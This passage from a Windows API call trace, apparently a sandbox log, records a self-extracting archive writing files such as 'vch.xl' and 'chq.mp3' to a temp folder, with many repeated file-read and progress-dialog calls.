wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.595] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.595] GetTickCount () returned 0x1fc38 [0068.595] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.595] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x255, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x255, lpOverlapped=0x0) returned 1 [0068.596] GetTickCount () returned 0x1fc48 [0068.596] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.596] SetFilePointer (in: hFile=0x1c, lDistanceToMove=878128, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd6630 [0068.596] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.596] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.596] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.596] CloseHandle (hObject=0x138) returned 1 [0068.596] SetFileAttributesA (lpFileName="vch.xl", dwFileAttributes=0x20) returned 1 [0068.597] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd6630 [0068.597] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.597] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.597] OemToCharA (in: pSrc="chq.mp3", pDst=0x179cc0 | out: pDst="chq.mp3") returned 1 [0068.597] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="chq.mp3", cchCount2=1) returned 1 [0068.597] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="chq.mp3", cchCount2=6) returned 1 [0068.597] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="chq.mp3", cchCount2=-1) returned 1 [0068.597] SetFilePointer (in: hFile=0x1c, lDistanceToMove=878172, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd665c [0068.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="chq.mp3") returned 8 [0068.598] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419ab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.598] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting chq.mp3") returned 18 [0068.598] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting chq.mp3") returned 1 [0068.598] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.598] OemToCharBuffA (in: lpszSrc="c", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="c") returned 1 [0068.598] CharToOemBuffA (in: lpszSrc="C", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="C") returned 1 [0068.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="chq.mp3") returned 8 [0068.598] FindFirstFileW (in: lpFileName="chq.mp3", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.598] GetLastError () returned 0x2 [0068.598] GetFileAttributesA (lpFileName="chq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\chq.mp3")) returned 0xffffffff [0068.598] CreateFileA (lpFileName="chq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\chq.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.598] GetFileType (hFile=0x138) returned 0x1 [0068.598] SetFilePointer (in: hFile=0x138, lDistanceToMove=564, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x234 [0068.598] SetEndOfFile (hFile=0x138) returned 1 [0068.598] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c9, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c9, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.599] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.599] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.599] GetTickCount () returned 0x1fc48 [0068.599] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.599] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.600] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.600] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.600] GetTickCount () returned 0x1fc48 [0068.600] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.600] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.601] GetTickCount () returned 0x1fc48 [0068.601] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.601] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.601] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.601] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.614] GetTickCount () returned 0x1fc58 [0068.614] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.614] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.614] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.614] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.614] GetTickCount 